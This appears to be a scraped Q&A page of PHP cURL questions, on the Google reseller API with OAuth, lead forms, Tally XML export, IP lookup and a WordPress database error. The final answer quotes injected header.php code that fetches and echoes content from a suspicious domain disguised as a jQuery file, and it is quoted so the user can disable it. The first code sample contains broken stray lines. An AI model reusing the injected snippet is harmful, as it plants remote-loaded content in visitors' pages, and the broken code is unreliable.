Invalid credentials using PHP with the Google apps reseller api - google-reseller-api

I'm trying to build a couple of webpages to gather info about our GApps customers.
I have all the code needed to get an Oauth token and it even seems to work (at least i can read all my calendar events using the calendar API). When i try to access the reseller api i get so far that i get the token but if i try to access the userinfo,
passing the access_token parameter i get an Invalid Credentials error.
Unfortunately I haven't found much usable documentation on PHP but after all the auth procedure i'm trying to get the data via CURL...
Any ideas what's wrong or what i should do differently?
Still stuck so i thought i'd add the code i'm running now:
<?php
require_once '../google-api-php-client/src/Google_Client.php';
require_once '../google-api-php-client/src/contrib/Google_Oauth2Service.php';
require_once '../google-api-php-client/src/contrib/Google_ResellerService.php';
session_name('reseller');
session_start();
$debug=1;
$clientId='******.apps.googleusercontent.com';
$clientSecret='******';
$redirectURI='*****'; //links to the directory wehere the script is
$key='********';
$scopes='https://www.googleapis.com/auth/apps.order.readonly';
n
$client = new Google_Client();
$client->setApplicationName("Google Reseller PHP Starter Application");
$client->setClientId($clientId);
$client->setClientSecret($clientSecret);
$client->setRedirectUri($redirectURI);
$client->setDeveloperKey($key);
$client->setScopes($scopes);
if (isset($_GET['code'])) {
if($debug) echo "we have a code! <br />";
$client->authenticate($_GET['code']);
$_SESSION['token'] = $client->getAccessToken();
//echo $_SESSION['token']."<br/>";
$redirect = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
header('Location: http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
exit();
}
if (isset($_SESSION['token'])) {
$client->setAccessToken($_SESSION['token']);
echo "access token settato<br/>";
}
if ($client->getAccessToken()) {
$mytoken=json_decode($_SESSION['token'], true);
echo "DEBUG SESSION token:".$_SESSION['token']."<br />";
echo "DEBUG token: ".$mytoken['access_token']."<br />";
$domain='******'; //mydomain
//key id defiend above
$fields=array('customerId');
$url="https://www.googleapis.com/oauth2/v1/userinfo/?access_token=".$mytoken['access_token'];
echo $url."<br />";
$ch = curl_init($url);
$scopes&state=antani&access_type=online&approval_prompt=auto");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Authorization: Bearer: '.$mytoken['access_token'],
));
curl_setopt($ch, CURLOPT_REFERER, "*******"); //server URL
$data = curl_exec($ch);
curl_close($ch);
$resellerService = new Google_ResellerService($client);
if ($debug){
echo "<pre>";
print_r($data);
echo "</pre>";
}
} else {
$authUrl = $client->createAuthUrl();
print "<a class='login' href='$authUrl'>Connect Me!</a>";
}
if (isset($_GET['logout'])) {
unset($_SESSION['token']);
}
session_destroy();
?>
Any ideas as to why i still get the "insufficient permissions" error?
thanks!

Related

How can I get registered information to my email [duplicate]

This question already has answers here:
PHP create Excel spreadsheet and then email it as an attachment
(3 answers)
Closed 3 years ago.
I have a landing page, I want to get the registered information straight to my email or get it in some excel file
// send data to some get post API , if so uncomment next code and customize for your needs
$myvars = 'publicid=' . $publicid . '&firstname=' . $firstname . '&lastname=' . $lastname . '&email=' . $email . '&phone=' . $phone . '&country=' . $selected_country . '&leadsource=' . $leadsource[0] . '&ip=' . $ip;
$url = "#";
$ch = curl_init( $url );
curl_setopt( $ch, CURLOPT_POST, 1);
curl_setopt( $ch, CURLOPT_POSTFIELDS, $myvars);
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt( $ch, CURLOPT_HEADER, 0);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec( $ch );
var_dump($response);
echo '{"success":true,"message":{"message":"lead insert"}}';
?>
So you want do 2 things, which was already asked in stackoverflow, please read this 2 pages :
Generate an excel with your data :
PHP create Excel spreadsheet and then email it as an attachment
Send an email with attachment:
send email with attachment using php

CURL returning different responses

My code is this:
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, $content);
curl_setopt($ch, CURLOPT_HTTPHEADER,array('Content-type: application/json','Content-Length: ' . strlen($content), 'Cache-Control: no-cache'));
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
if($result===FALSE)
{echo "cURL ERROR:".curl_error($ch);}
echo $result;
The problem is the fact that sometimes it works and sometimes it doesn't.
When it works I get a valid JSON response, like:
Working,
but when it doesn't, I get this:
Not Working
I should mention that I don't have access to the API server. Can anyone help me with any idea? Thank you!
The issue was that I was using a minification plugin that after a while was breaking the jQuery ajax call.
I solved it by implementing an inline script for the ajax call, using just javascript (no jQuery library dependency).

Tally XML Integration...export employee information from tally

Can anyone suggest what is the structure of xml to exporting employee details from tally.
<?php
/*
PHP Code to Export Employee Master data from Tally ERP 9
Task : Export Exmployee masters from Tally
*/
ini_set('display_errors', 1);
$data =
"<ENVELOPE>" .
"<HEADER>" .
"<TALLYREQUEST>Export Data</TALLYREQUEST>" .
"</HEADER>" .
"<BODY>" .
"<EXPORTDATA>" .
"<REQUESTDESC>" .
"<REPORTNAME>List of Accounts</REPORTNAME>" .
"<STATICVARIABLES>" .
"<SVEXPORTFORMAT>\$\$SysName:XML</SVEXPORTFORMAT>" .
"<ACCOUNTTYPE>Employees</ACCOUNTTYPE>" .
"<!--Other possible values for ACCOUNTTYPE tag are given below-->" .
"<!--All Acctg. Masters, All Inventory Masters,All Statutory Masters-->" .
"<!--Ledgers,Groups,Cost Categories,Cost Centres-->" .
"<!--Units,Godowns,Stock Items,Stock Groups,Stock Categories-->" .
"<!--Voucher types,Currencies,Employees,Budgets & Scenarios-->" .
"</STATICVARIABLES>" .
"</REQUESTDESC>" .
"</EXPORTDATA>" .
"</BODY>" .
"</ENVELOPE>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://127.0.0.1:9000/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data ); //$data = "XML data"
$response = curl_exec ($ch);
if(curl_errno($ch)){
echo curl_error($ch);
}
else{
print "<pre lang='xml'>" . htmlspecialchars($response) . "</pre>";
curl_close($ch);
}
return "";
?>
Note:
You can get more information about Tally XML tags from here:
Export data from Tally
https://www.rtslink.com/articles/tally-xml-tags-export/
Import data into Tally
https://www.rtslink.com/articles/tally-xml-tags-import/

request a web service from laravel that returns a json object

I have this Url : https://ipfind.co/?ip=188.225.179.138&auth=dde7cf52-2294-47e3-adb2-1e559099527e
when I request it from browser it gives me this response:
{"ip_address":"188.225.179.138","country":"Palestinian Territory, Occupied","country_code":"PS","continent":"Asia","continent_code":"AS","city":"Ramallah","county":null,"region":null,"region_code":null,"timezone":"GMT+2","owner":"COOLNET NEW COMMUNICATION PROVIDER","longitude":35.2,"latitude":31.9}
how can I invoke this url from laravel?
note that I tried this code, but it didn't work.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://ipfind.co/?ip=188.225.179.138&auth=dde7cf52-2294-47e3-adb2-1e559099527e');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec();
curl_close($ch);
dd($data);
Thanks in advance.
In the Curl you shall do this Easy 5 steps
Step 1
Initiate the Curl $cSession = curl_init();
Step 2
Define the Curl Url
curl_setopt($cSession,CURLOPT_URL,"https://ipfind.co/?ip=188.225.179.138&auth=dde7cf52-2294-47e3-adb2-1e559099527e");
curl_setopt($cSession,CURLOPT_RETURNTRANSFER,true);
curl_setopt($cSession,CURLOPT_HEADER, false);
Step 3
Execute the Curl
$result=curl_exec($cSession);
Step 4
Close the Curl Connection
curl_close($cSession);
Step 5
Print the Result
echo $result;
Putting all together
<?php
$cSession = curl_init();
curl_setopt($cSession,CURLOPT_URL,"https://ipfind.co/?ip=188.225.179.138&auth=dde7cf52-2294-47e3-adb2-1e559099527e");
curl_setopt($cSession,CURLOPT_RETURNTRANSFER,true);
curl_setopt($cSession,CURLOPT_HEADER, false);
$result=curl_exec($cSession);
curl_close($cSession);
echo $result;
?>
There is a PHP package for getting an IP address for IP Find that you can install with composer here that works great with Laravel.
https://github.com/tenfef/ipfind-php/

Couldn't connect to database server.Couldn't find database jimbob_jc

I need your advise.
I'm using wordpress, and i got error on header with following message:
*Couldn't connect to database server.Couldn't find database jimbob_jc.
An unexpected problem has occured with the application.
SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*
What's that mean? How do I fix it?
I have searched Google but I've not had any success with others having similar problems.
Comment out the following code in the header.php file.
<?php
if(function_exists('curl_init'))
{
$url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
?>